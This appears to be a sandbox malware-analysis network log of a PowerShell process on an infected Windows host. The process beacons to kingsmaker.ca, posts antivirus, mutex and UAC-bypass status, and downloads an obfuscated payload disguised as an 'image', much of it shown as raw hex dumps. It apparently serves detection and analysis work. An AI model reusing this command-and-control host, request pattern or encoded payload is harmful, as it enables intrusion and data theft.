Server: cloudflare CF-RAY: 8ea0dbc56f1d7d06-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2002&min_rtt=2000&rtt_var=754&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1002&delivery_rate=1447694&cwnd=244&unsent_bytes=0&cid=176e0c88c48ad1ce&ts=1037&x=0"
2024-11-29 07:24:31 UTC	262	IN	Data Raw: 25 50 44 46 2d 31 2e 34 0a 25 e2 e3 cf d3 0a 31 32 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 0a 2f 57 69 64 74 68 20 31 32 34 31 0a 2f 48 65 69 67 68 74 20 31 37 35 34 0a 2f 43 6f 6c 6f 72 53 70 61 63 65 20 2f 44 65 76 69 63 65 52 47 42 0a 2f 42 69 74 73 50 65 72 43 6f 6d 70 6f 6e 65 6e 74 20 38 0a 2f 46 69 6c 74 65 72 20 5b 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 44 43 54 44 65 63 6f 64 65 5d 0a 2f 44 65 63 6f 64 65 50 61 72 6d 73 20 5b 6e 75 6c 6c 20 3c 3c 0a 2f 51 75 61 6c 69 74 79 20 36 30 0a 3e 3e 5d 0a 2f 4c 65 6e 67 74 68 20 31 36 37 35 32 32 0a 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c ec bd 05 58 1c db b6 2e 5a 04 4b 20 40 d0 10 34 01 82 4b b0 40 b0 86 10 3c b8 34 4e 82 bb bb 35 81 00 a1 71 08 10 20 48 70 27 10 dc 83 Data Ascii: %PDF-1.4%12 0 obj<</Subtype /Image/Width 1241/Height 1754/ColorSpace /DeviceRGB/BitsPerComponent 8/Filter [/FlateDecode /DCTDecode]/DecodeParms [null <</Quality 60>>]/Length 167522>>streamxX.ZK @4K@<4N5q Hp'
2024-11-29 07:24:31 UTC	1369	IN	Data Raw: af c9 5e 67 ef b5 d6 dd 67 9f fb de bd 7b 9f 73 cf 7d fd 7d 13 aa ab aa ab 6b ca f8 c7 ff 8f 39 66 35 7c 02 3e 0d 88 02 58 f7 30 30 31 ee 62 61 62 60 62 63 63 e1 e0 3f 26 c4 c7 c3 c3 a7 23 a3 78 f8 98 95 81 fd 19 2b 03 0b 33 27 9f b4 10 e7 73 71 1e 66 16 61 b0 88 f8 6b 39 25 65 25 0e 21 cd b7 9a 0a 6f a4 15 95 e4 6f 2f 82 84 8d 8d 8d 8f 8b 4f 4b 48 48 2b cf cd c2 2d ff ff fa 05 6f 02 70 ef a2 4d a1 4c 22 23 51 01 77 70 91 90 71 91 e0 ad 00 25 00 20 a1 22 fd 7a 01 bf bd 90 ee 20 a3 a0 a2 a1 df 45 dc 34 e2 84 f2 07 c0 1d 24 64 e4 3b 28 c8 a8 a8 28 28 88 a3 5e 88 e3 00 0a 2e 2a de 13 76 11 34 7c c5 b7 e8 54 76 04 1c ef 22 bf dc a5 7e 59 f2 9d 50 69 70 9f 86 53 df de f7 1e 06 d1 43 e2 47 24 4f 69 e9 e8 19 18 b9 b8 9f f3 f0 be e0 13 7d 25 26 2e 21 29 25 ad ac Data Ascii: ^gg{s}}k9f5\|>X001bab`bcc?&#x+3'sqfak9%e%!oo/OKHH+-opML"#Qwpq% "z E4$d;(((^.*v4\|Tv"~YPipSCG$Oi}%&.!)%
2024-11-29 07:24:31 UTC	1369	IN	Data Raw: 44 34 5e 21 55 cb 97 43 fa 59 6f 38 af 73 6a b0 35 74 c7 58 06 c5 08 7e fc 67 d3 d6 ff 46 34 f6 1f d2 55 a5 d1 13 fa b2 42 c1 3d 3a b0 93 36 56 fe 48 f4 50 35 3f 1b be 45 4d e8 c8 38 d1 f3 12 29 14 e0 61 05 a5 ab 5f b2 c8 a6 3c e5 8d 79 90 8a a2 33 b7 ff 23 d9 17 2c 21 94 38 90 ce 51 33 38 a0 d3 7f 52 2c 72 80 16 63 04 79 cb 15 f7 8c 21 96 7e 32 4a a4 e5 0e 9a fb a5 07 38 f9 dc 72 f7 40 2c 11 37 a4 f7 b3 bb 53 d1 51 2b c9 4e 68 52 dd 98 7f cf b8 d2 17 b1 00 b6 f8 77 d4 64 97 6a 04 85 9d bb ce fa 2a f5 05 6e 2e 94 0b f7 0c 13 5b 9e db 30 7d ab c6 e6 61 ff b1 30 81 33 54 61 d1 b7 e3 64 65 d1 f2 7c cc 4e e7 3b e5 64 bc 96 e5 fd 67 13 b3 51 52 db de 36 b0 72 17 12 b9 4c a2 fc ec cc 65 8c cd e2 c8 f2 1a 5f be b1 b2 d5 84 95 4d 07 70 26 7d a5 50 68 1c 13 53 1b Data Ascii: D4^!UCYo8sj5tX~gF4UB=:6VHP5?EM8)a_<y3#,!8Q38R,rcy!~2J8r@,7SQ+NhRwdj*n.[0}a03Tade\|N;dgQR6rLe_Mp&}PhS
2024-11-29 07:24:31 UTC	1369	IN	Data Raw: 2f 4f db 60 b0 c2 7f c6 bf 5c a5 e4 2a e4 97 a9 3c 78 fd 62 91 85 be 6b 2c 4e 4d f1 91 30 56 2d b3 2b 1c f0 b9 1a c3 de 4d 8b d2 24 1f 58 51 21 23 05 9b 08 fe 6e ec 9e 34 4f bb b2 a9 56 d4 c8 e4 d8 ec 44 19 5a 75 7d 97 fa 7e 2d 66 81 89 43 84 73 11 32 55 59 f2 1e e7 26 16 aa 3d a0 66 aa 1e 87 51 2a c7 a1 37 de d9 f9 f7 07 f2 16 93 fa fe da 87 72 65 7c 9d 99 49 69 7d 14 d6 21 95 23 38 80 74 9a 9f c0 68 51 43 0e 9d 7a 1e 55 c9 ce 84 df c0 30 42 21 ff 65 eb 95 75 de 0b ee d4 b5 ae 75 7a da a2 b0 bc d2 3a 45 84 ad ce 9e dd d8 73 5d 79 19 df 23 7e da f3 90 c8 da 1d f3 43 97 df b1 75 4a 21 e7 5f 5d ff 8f ec 87 06 b1 b8 76 09 8d 0e a1 fb 2c 47 1a 9b 70 c0 38 9a 8a a9 ad a9 5f b6 85 17 96 7e 90 7d 7e 7a 3d 6b 9e 6f 42 f1 da 39 28 b6 e3 2c f1 11 cc 37 2f 33 1f 0e Data Ascii: /O`\<xbk,NM0V-+M$XQ!#n4OVDZu}~-fCs2UY&=fQ7re\|Ii}!#8thQCzU0B!euuz:Es]y#~CuJ!_]v,Gp8_~}~z=koB9(,7/3
2024-11-29 07:24:31 UTC	543	IN	Data Raw: 70 e0 18 af 02 51 4d df e2 1f b0 c2 86 80 3a e9 ac 42 09 4c f5 61 ac 40 d5 62 97 92 1d 3b f9 fb 5f ef 2d c5 90 50 f1 a0 a3 87 b8 af e6 c1 81 df b7 8b bc a8 1a e4 ae 56 5a c8 37 ad 07 e8 b9 ab 75 70 00 86 5b 6f 01 7b 37 ec fd 32 68 24 4a 2a 83 20 e7 a5 9c b4 52 79 f8 6b d8 e4 50 e3 3a 9d 11 1c 80 8c 5f 9b fe fe 8d 45 17 9b e3 56 af 40 6a 7d a5 ab cb 9a f5 ee f9 d6 f5 46 6c 6c dc c3 6f 1f ac f4 cd 0c a9 f9 c1 45 4c a0 02 e9 d3 92 c1 13 7a cd eb 29 cf 70 cd df 7f d6 7c 86 53 cc 0e af db 86 51 86 d4 d1 f1 4d 13 8c aa 2e fd af 5f 5f 8f df 5c 31 ac e9 ea 3c 86 f9 69 ea 85 b2 f7 8a 75 3a 6b c7 e5 d8 c7 4d 69 b9 5e f5 b5 e2 97 04 4b ae 5d 70 c0 ce a8 dc 8b 45 3d df 5c ed 8d 9f ef fd ad 8e 2d a9 9b 6f 99 90 01 b9 6e 18 1c 28 3e 1f 8f 9a 87 74 dc 74 dc 38 d9 ac 9a Data Ascii: pQM:BLa@b;_-PVZ7up[o{72h$J* RykP:_EV@j}FlloELz)p\|SQM.__\1<iu:kMi^K]pE=\-on(>tt8
2024-11-29 07:24:31 UTC	1369	IN	Data Raw: d8 72 6e 7d 40 5d 13 e2 7d 08 da 14 6c 8c b1 02 4b 9b 4b af ff fc 4c 46 c9 1c 52 7c 2e c5 a5 77 79 b7 e5 22 61 a0 bc c6 f7 10 35 79 4c 35 96 76 bd cb b5 98 b0 28 e5 bb e6 f8 04 5b 43 9b ed 79 45 95 00 fe 20 65 c9 b5 bb b7 6a 3f c6 99 b3 89 93 36 5e 08 69 f0 c8 31 f4 8f b8 f1 d4 c8 35 1d 26 56 bb 77 b9 6c 91 26 d7 b5 76 ff 21 57 14 ce 5f 2f 3f 8a 4e 4d 9d e9 ea ef 61 09 d9 1c 5f 67 62 54 25 db 73 48 c7 7f c9 55 68 52 b5 49 9f 56 f1 42 da 26 df 2c b2 73 f0 47 ce 14 75 ee 93 98 6c 05 11 72 91 47 b9 56 c5 56 ac 67 5e 51 9b f7 4e 6f f6 58 85 27 2e 17 eb e2 b4 e1 40 c4 ee 17 38 a0 c7 01 59 17 2f 76 15 55 84 f5 8d eb cf 4d 40 21 b3 a0 a5 01 98 eb 8d 45 3c f8 ac 60 70 9e 19 4f 61 55 5e 8b 22 1b 41 d9 a4 9a 08 65 4f ac 38 78 0c a3 15 cb c0 ca 01 6a 49 22 e8 03 47 Data Ascii: rn}@]}lKKLFR\|.wy"a5yL5v([CyE ej?6^i15&Vwl&v!W_/?NMa_gbT%sHUhRIVB&,sGulrGVVg^QNoX'.@8Y/vUM@!E<`pOaU^"AeO8xjI"G
2024-11-29 07:24:31 UTC	1369	IN	Data Raw: 14 7f ed bf 53 d3 dd 48 89 8c c9 92 14 a4 71 77 21 c3 f3 dd 39 76 79 fb 3b c1 95 31 02 ae 6f 3d 37 e8 4f 3f 25 e4 0d 87 14 44 12 4b 73 66 bb b0 e0 88 ee 23 d7 9e bb c5 d4 d0 6c e7 1f 37 81 7a 12 ba ce fd 72 bf c9 63 c7 93 be 25 70 8b 32 a8 16 44 ff f9 e2 da 22 6f 80 6b 6f bb 90 02 53 ed 7b 04 d6 10 ee cd d2 0f 38 80 d3 5c b7 d6 16 66 78 c0 72 60 dd f7 f0 10 50 55 a9 33 a3 31 11 11 cf a2 52 22 5f f0 22 bd 32 51 9a a4 15 ab 13 75 cc 70 39 a6 0c 3f 1f cf 99 fe 8e 55 c6 84 55 67 41 66 fa 2c 2f 1d 00 33 ed 6f 72 93 18 8d f8 ed 71 4d cb 0f d0 c3 01 7c 1d 27 9d bb 99 a4 f1 06 8c 2f 54 ec d6 7d ab e0 00 c9 b9 f7 c3 72 2f b9 a1 67 d1 12 3d 5d e9 48 e3 e3 9b 4c 5f 73 8a 96 34 0a d6 82 1a b6 da bb bc df ab 45 43 a3 be 3d cb 54 1c 4e 88 12 08 94 6a 8c 7e 3d f2 a5 36 Data Ascii: SHqw!9vy;1o=7O?%DKsf#l7zrc%p2D"okoS{8\fxr`PU31R"_"2Qup9?UUgAf,/3orqM\|'/T}r/g=]HL_s4EC=TNj~=6
2024-11-29 07:24:31 UTC	1369	IN	Data Raw: 33 fc 72 79 be 73 3c 78 bc 4c 0f d2 e1 df 71 63 6f b3 6c d1 b6 e5 29 b7 be dc 64 45 3d 5c 66 85 2e 95 22 5e 9a 60 71 57 57 e2 dd a3 4f 61 52 54 45 90 66 9e 34 84 6b e4 a3 ec 1c b3 8e 5c 0c 25 9a 96 fc e6 6b 31 5b 2a 81 c1 c4 f6 71 0d 05 db 1d a3 12 0e dc 73 f6 83 03 20 38 70 81 26 0f a3 2d 97 4b 8a ed e0 1a f5 36 b1 80 d1 4e 31 a6 31 d2 37 e7 34 51 f8 56 81 3e 34 dd 54 74 9e b2 7f bd b1 28 ff da 50 31 62 e5 df f6 b9 c1 f0 55 64 ad 19 59 78 e1 9b f3 b5 d7 1e 3b 0c ac 4f 74 86 34 a3 5a b1 33 71 f4 96 71 7e 9a e6 55 a7 6e 33 73 2e 17 54 87 b9 34 dd 7f d8 7a ff de 4a ea 1b d0 33 48 a6 bb 98 6b af ff f2 94 d7 36 d8 79 0d ef d5 e4 a3 75 2f 91 6b a6 c6 f2 83 f6 38 66 e1 19 e6 01 a9 30 b0 f5 42 8a 3e 13 1f 21 55 ba b1 e3 12 bd 9c f2 2a b4 7a 48 6e 8b bc 2e ac 03 Data Ascii: 3rys<xLqcol)dE=\f."^`qWWOaRTEf4k\%k1[qs 8p&-K6N1174QV>4Tt(P1bUdYx;Ot4Z3qq~Un3s.T4zJ3Hk6yu/k8f0B>!UzHn.
2024-11-29 07:24:31 UTC	1369	IN	Data Raw: 2b d7 c9 82 e4 92 77 5f 02 41 f7 1e ed 7a e0 b4 8e 11 cc bd 18 52 bc 17 c4 fa d4 ba e9 31 65 cf 38 75 f1 39 74 4b d3 36 2c 8d d4 f1 85 fa c7 b5 14 25 8f 84 39 a7 b4 d8 40 72 66 9a 15 36 37 0d e2 d6 28 29 3a 9a 93 62 9d fd 9b 6f 9a a6 cf 15 be b6 dc 7d f7 76 5d 9e ee 62 1c 75 41 10 f5 44 66 25 d9 90 aa 8f a8 1b 7f b0 ff 4c e2 a4 58 2e a7 a5 ad d8 2d d1 20 8f ce 94 35 30 dc e2 ef 8e 9c 9f e5 7f 23 bd 16 f5 fb 0f af 83 1b 4f 27 1b 33 c5 28 17 41 f1 45 4c e7 98 cb 16 16 2e 2d 72 43 ac d6 47 01 af 2e 40 73 02 38 23 e3 e1 51 52 34 9f a3 75 fa 5b 65 ae 9f 56 24 07 46 79 8e 53 cc a2 9f 5c e7 c7 0d 1c bb 95 e7 b7 57 fa 8f 09 e6 e8 24 05 08 ef dc 98 16 cc 64 77 f9 dd 23 94 8b fe 5c 93 a4 96 b8 44 4e d5 22 57 59 26 e3 d1 f3 ea 9d d4 dd ba e4 b5 3d f7 31 1b a8 a7 68 Data Ascii: +w_AzR1e8u9tK6,%9@rf67():bo}v]buADf%LX.- 50#O'3(AEL.-rCG.@s8#QR4u[eV$FyS\W$dw#\DN"WY&=1h
2024-11-29 07:24:31 UTC	1369	IN	Data Raw: ea ba db 6e f6 02 96 ee 9a 4a 6d 55 d0 93 c3 95 a4 59 07 5a 5e 66 c9 bc c6 bf 7d b2 8b 51 e7 ee 37 d5 d0 9c 98 32 81 51 01 dc 02 ce b7 0d 7d 7e a3 19 70 00 49 8b cf e6 dd e3 a0 d6 84 d0 ef 89 94 87 7d ec e5 10 fc 11 58 cc c4 a0 ac 82 2f ad 7a 57 a9 5a 7d 80 e8 7d b5 fd 82 67 e2 25 ed 7e 18 79 cf 50 85 a0 4c ca 9f 8e 66 e5 9b 49 ea fb 72 5d ec f0 44 57 ba f9 6b 56 5f db aa 47 ea c8 fb 3b 4e 27 b1 49 5e 71 4f 28 d2 7d ea 3d fc 1c 42 a6 d6 4b f8 d9 4c 9c 75 7d 2e 8b ca 21 9c 7a e2 e7 c9 1e 96 85 66 56 89 9d 73 ee c3 d8 de 0f df 23 6c d3 df 69 79 3f 18 58 1d dc c9 e6 79 8b 72 c4 7b 95 cd ab c0 7b 23 55 14 00 25 a4 cf 75 40 29 c1 ff f8 82 ef 97 3d 91 81 83 ae 99 3c 20 05 82 b3 be ed 4a aa a8 67 cf 9f b5 84 2f a3 ea ec 7b 47 e6 ae 1f ce 48 b8 96 5c e0 e5 50 5b Data Ascii: nJmUYZ^f}Q72Q}~pI}X/zWZ}}g%~yPLfIr]DWkV_G;N'I^qO(}=BKLu}.!zfVs#liy?Xyr{{#U%u@)=< Jg/{GH\P[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49716	104.21.75.170	443	7728	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:24:30 UTC	283	OUT	POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b662a76c885c2e4e1bb08e1319f40af0a0e HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kingsmaker.ca Content-Length: 86
2024-11-29 07:24:30 UTC	86	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 4d 75 74 65 78 20 69 73 20 6e 6f 74 20 6c 6f 63 6b 65 64 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 41 56 20 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Mutex is not locked\"", "\"AV Windows Defender\"", "----------"]
2024-11-29 07:24:31 UTC	986	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 07:24:31 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CWNCA9rlnRbqpzNejL9aFgqzEIBpkUJdYWptpgFNLJRrISAp9H1Pehl7DJVVoF9ZsQtNyFvyczpASpb4iaREtpU7zALYnQk8D5AXojawrAn%2BtJ%2FDglukeeQwmixtLu2z0WdXyr1ZMsVo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2197&min_rtt=1083&rtt_var=281&sent=576&recv=301&lost=0&retrans=0&sent_bytes=769763&recv_bytes=16907&delivery_rate=38803986&cwnd=254&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8ea0dbc6fadd4391-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1691&min_rtt=1574&rtt_var=825&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1029&delivery_rate=1160572&cwnd=236&unsent_bytes=0&cid=6ff784171fa61d97&ts=989&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49717	104.21.75.170	443	7728	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:24:34 UTC	283	OUT	POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b662a76c885c2e4e1bb08e1319f40af0a0e HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kingsmaker.ca Content-Length: 62
2024-11-29 07:24:34 UTC	62	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 30 22 2c 0d 0a 20 20 20 20 22 5c 22 6b 6f 20 63 61 6e 20 62 79 70 61 73 73 20 75 61 63 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "0", "\"ko can bypass uac\"", "----------"]
2024-11-29 07:24:35 UTC	998	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 07:24:34 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KEiFl7hQdtss6U%2Fp8R%2BUjXQ6AkvgoyyYFQ4R79n%2FzVaUKbGNKpH4qlWTnO9coBwLNgYQ%2BtVlkKw8EQ8Qwp5%2FTcHrmPJ9dQXxk2M597c5ajfq3WO0rLIPM2mMZe%2FFt2stPa0pccAjjsOS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19391&min_rtt=1083&rtt_var=26152&sent=616&recv=339&lost=0&retrans=0&sent_bytes=788504&recv_bytes=41747&delivery_rate=38803986&cwnd=254&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8ea0dbdaab5d32d0-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2006&min_rtt=2005&rtt_var=754&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1005&delivery_rate=1449851&cwnd=168&unsent_bytes=0&cid=014ce7866acb52d3&ts=1257&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49723	104.21.75.170	443	3688	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:24:43 UTC	388	OUT	GET /file2/9aea8bf833c8770959db7c728f4ccdcfc8f4e930af4dd44e65213b9b4a478e5f86dc119a0810194a9087440b790382eb7115a9d6a33bc02028e55678abe02ad45d48e9afa93af837531e35b1c88e6bfcafa27d82ee244203b86a650acf33460676e19e4d50ccbf7b795575b481ec4d43 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kingsmaker.ca Connection: Keep-Alive
2024-11-29 07:24:44 UTC	1109	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 07:24:44 GMT Content-Type: application/octet-stream Content-Length: 12110 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yZqRMl5bo9BsQqCmDJHYxTZIBjBQEzC4Qm7yUTf64eO%2BxdC5mP4bGbcfdDDeaUdkfap5%2FJnOE9d2KJFueYkhGmO0nZm0R2%2Fs9NdRytCnP0tknAiMpRMNE6zMTXXMwKE6Dyfe6zo8HHi4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=25487&min_rtt=1083&rtt_var=28635&sent=638&recv=355&lost=0&retrans=0&sent_bytes=806408&recv_bytes=46979&delivery_rate=38803986&cwnd=259&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8ea0dc164bdb41ec-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1598&min_rtt=1596&rtt_var=602&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1002&delivery_rate=1810291&cwnd=221&unsent_bytes=0&cid=32368a61d2fb3615&ts=1004&x=0"
2024-11-29 07:24:44 UTC	260	IN	Data Raw: 25 78 6e 74 78 65 6b 60 6b 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 58 57 62 30 63 6a 6d 45 4c 56 79 6b 54 31 47 73 56 6c 30 46 62 33 4c 78 57 59 43 4b 52 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 6d 5b 57 60 30 4b 4a 54 6a 5b 52 54 47 57 47 56 6a 71 4b 50 31 71 51 58 6b 4f 53 5b 30 57 74 57 6f 57 68 63 56 79 30 56 6f 6d 42 52 6c 4b 71 50 6b 43 69 53 33 79 37 52 54 65 56 65 56 53 75 63 49 6d 68 4c 6b 47 72 58 6c 34 53 60 54 53 53 63 33 65 4b 50 31 47 6f 56 6d 69 6e 62 46 53 44 62 31 34 45 63 6b 43 4e 50 33 62 76 52 30 71 74 57 6f 57 5b 4c 30 4b 76 58 6b 48 31 5b 30 44 78 4e Data Ascii: %xntxek`k<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#XWb0cjmELVykT1GsVl0Fb3LxWYCKRIONP3mC[1mEPm[W`0KJTj[RTGWGVjqKP1qQXkOS[0WtWoWhcVy0VomBRlKqPkCiS3y7RTeVeVSucImhLkGrXl4S`TSSc3eKP1GoVminbFSDb14EckCNP3bvR0qtWoW[L0KvXkH1[0DxN
2024-11-29 07:24:44 UTC	1369	IN	Data Raw: 5b 34 5b 44 4c 79 53 33 47 59 64 46 79 56 4c 6c 76 76 58 54 5b 6e 65 6c 4f 71 50 6b 65 44 54 56 38 6f 52 54 4f 43 5b 33 4f 49 53 6f 6d 5b 57 7b 43 6f 52 31 44 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 42 58 6d 57 49 53 6f 6d 5b 57 7b 47 72 5b 44 65 56 64 54 75 47 4c 56 69 68 63 57 4b 6e 5b 44 62 34 64 56 57 54 4c 46 75 6a 52 44 6e 79 56 6d 4f 72 5b 44 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 46 65 49 71 6a 52 44 71 76 58 6c 30 6a 5b 44 71 47 63 49 57 6b 52 47 58 76 54 6c 30 72 62 30 71 56 50 6c 69 6a 53 33 65 7b 53 47 47 77 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 30 62 79 50 6c 69 6b 63 54 5b 31 56 6d 69 52 63 46 4f 71 60 44 34 5b 57 7b 57 73 56 57 69 52 65 6c 4f 74 60 7b 6d 4a 52 47 4b 34 5b 47 65 57 62 47 69 53 4c 44 75 4b 50 Data Ascii: [4[DLyS3GYdFyVLlvvXT[nelOqPkeDTV8oRTOC[3OISom[W{CoR1DvR1mEPVeKP1GoRTOBXmWISom[W{Gr[DeVdTuGLVihcWKn[Db4dVWTLFujRDnyVmOr[DSSc3eKP1GoRTOC[1mFeIqjRDqvXl0j[DqGcIWkRGXvTl0rb0qVPlijS3e{SGGwUjOqPVeKP1GoRTOC[0byPlikcT[1VmiRcFOq`D4[W{WsVWiRelOt`{mJRGK4[GeWbGiSLDuKP
2024-11-29 07:24:44 UTC	1369	IN	Data Raw: 49 55 6c 38 4b 52 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 57 6d 5b 4a 53 57 4f 57 54 6d 57 54 4c 54 4b 49 54 30 4f 43 60 30 69 34 4f 54 5b 6d 53 31 34 72 58 31 69 52 62 46 48 78 4f 49 57 54 57 30 5b 37 58 7b 4b 46 63 6d 71 54 62 31 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 56 57 6a 71 47 54 30 57 52 57 57 50 79 50 6a 65 55 54 31 47 71 54 6d 69 4a 64 56 48 7b 52 56 65 6b 52 44 71 33 56 55 4b 56 64 6c 4f 34 52 54 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 6b 63 57 58 76 5b 47 69 4a 65 54 6d 45 54 6c 30 5b 57 32 69 37 56 6d 44 76 52 31 6d 45 50 56 65 4b 52 45 43 4e 50 33 35 76 55 6a 4f 6f 4c 44 75 44 54 59 43 75 5b 47 62 30 60 6c 53 49 63 49 5b 68 60 54 4b 47 58 6b 4f 6a 65 56 4b 49 4e 56 69 60 50 7b 47 49 58 57 65 35 63 47 Data Ascii: IUl8KRIONP3mC[1mEPVeKP1GoWm[JSWOWTmWTLTKIT0OC`0i4OT[mS14rX1iRbFHxOIWTW0[7X{KFcmqTb14E`TGoRTOC[1mEPVeVWjqGT0WRWWPyPjeUT1GqTmiJdVH{RVekRDq3VUKVdlO4RT4E`TGoRTOC[1mEPVekcWXv[GiJeTmETl0[W2i7VmDvR1mEPVeKRECNP35vUjOoLDuDTYCu[Gb0`lSIcI[h`TKGXkOjeVKINVi`P{GIXWe5cG
2024-11-29 07:24:44 UTC	1369	IN	Data Raw: 57 56 75 52 52 6d 4b 46 54 6d 43 57 53 57 71 4a 52 54 4f 4a 53 33 47 59 64 46 79 4b 53 31 5b 7b 58 33 30 56 60 47 71 48 60 33 65 60 56 46 69 76 58 7b 4f 52 64 6a 6d 49 53 6b 43 4b 50 30 4b 73 56 6d 69 4e 4c 46 47 59 4f 56 69 6a 53 33 79 33 58 6c 6a 31 5b 30 4b 49 4e 55 4f 68 63 59 69 33 56 57 65 53 5b 30 6a 78 53 6f 57 5b 4c 6d 5b 7b 56 6d 65 53 65 54 6d 70 62 31 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 58 33 30 56 4c 46 53 58 52 6f 57 4b 50 30 48 76 58 33 34 56 63 44 38 32 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 48 4c 44 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 54 34 45 60 54 47 Data Ascii: WVuRRmKFTmCWSWqJRTOJS3GYdFyKS1[{X30V`GqH`3e`VFivX{ORdjmISkCKP0KsVmiNLFGYOVijS3y3Xlj1[0KINUOhcYi3VWeS[0jxSoW[Lm[{VmeSeTmpb14E`TGoRTOC[1mEPVeKP1GoRTOC[1mEPVeKP1GoX30VLFSXRoWKP0HvX34VcD82LDuKP1GoRTOC[1mEPVeKP1GoRTOC[1mHLD4E`TGoRTOC[1mEPVeKP1GoRTOC[1mEPT4E`TG
